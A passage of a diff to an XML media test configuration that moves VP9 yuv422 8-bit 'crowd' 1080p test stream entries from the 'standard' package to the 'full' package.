+    <value>mime=video/x-vnd.on2.vp9,size=160571,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_1x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=334114,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=334114,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=334324,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=334324,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_2x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=334313,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=334313,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_2x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=334324,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=334324,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_2x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=334897,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=334897,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_4x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=334324,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=334324,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_4x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=334897,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=334897,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_adaptQCom_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=318522,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=318522,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_adaptQVar_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=319080,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=319080,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_arnr_0f_0s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=334031,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=334031,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_arnr_0f_5s_1t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=336049,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=336049,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_arnr_0f_5s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=334617,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=334617,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_arnr_15f_0s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=334712,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=334712,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_arnr_15f_5s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=334767,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=334767,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_arnr_5f_0s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=336049,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=336049,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_arnr_5f_5s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=336049,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=336049,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_arnr_5f_5s_3t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=336049,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=336049,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_autAltRef_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=334897,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=334897,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_autAltRef_8lag_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=328598,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=328598,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_cbr_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=347006,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=347006,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_cq0_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=334897,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=334897,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_cq10_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=334897,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=334897,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_cq16_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=334897,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=334897,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_cq32_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=334897,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=334897,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_cq4_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=334897,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=334897,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_cq63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=265911,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=265911,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_downScale_10_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=334897,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=334897,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_downScale_20_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=334897,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=334897,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_downScale_50_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=334897,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=334897,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_downScale_80_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=334897,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=334897,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_errRes_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=346320,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=346320,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_keyFrmOnly_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=1325886,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -34428,10 +34428,10 @@
     <value>mime=video/x-vnd.on2.vp9,size=60150199,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_noKeyFrm_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=334897,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=334897,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_nonErrRes_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=334897,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=334897,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_Qp0-10_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=11748948,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -34440,7 +34440,7 @@
     <value>mime=video/x-vnd.on2.vp9,size=60150199,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_Qp0-63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=334897,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=334897,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_Qp10-20_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=4882668,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -34455,148 +34455,148 @@
     <value>mime=video/x-vnd.on2.vp9,size=2163081,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_Qp40-50_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=671067,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=671067,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_Qp50-63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=317749,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=317749,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_Qp63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86108,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86108,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_sharp0_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=334897,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=334897,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_sharp1_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=335001,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=335001,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_sharp2_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=336099,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=336099,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_sharp3_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=335018,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=335018,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_sharp4_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=334790,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=334790,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_sharp5_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=334976,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=334976,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_sharp6_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=334285,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=334285,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_sharp7_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=334967,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=334967,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_skip5frm_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=282549,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=282549,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_upScale_100_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=334897,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=334897,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_upScale_10_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=334897,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=334897,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_upScale_20_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=334897,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=334897,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_upScale_50_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=334897,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=334897,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_vbr_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=334897,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=334897,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_1x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=334297,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=334297,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=334742,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=334742,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_2x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=334497,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=334497,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_2x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=334742,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=334742,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_4x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=334891,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=334891,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_4x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=334742,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=334742,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_4x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=335567,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=335567,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_adaptQCom_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=318486,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=318486,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_adaptQVar_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=319104,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=319104,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_arnr_0f_0s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=334242,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=334242,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_arnr_0f_5s_1t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=334862,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=334862,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_arnr_0f_5s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=335190,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=335190,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_arnr_15f_0s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=334908,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=334908,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_arnr_15f_5s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=333729,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=333729,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_arnr_5f_0s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=334862,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=334862,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_arnr_5f_5s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=334862,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=334862,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_arnr_5f_5s_3t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=334862,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=334862,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_autAltRef_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=335567,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=335567,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
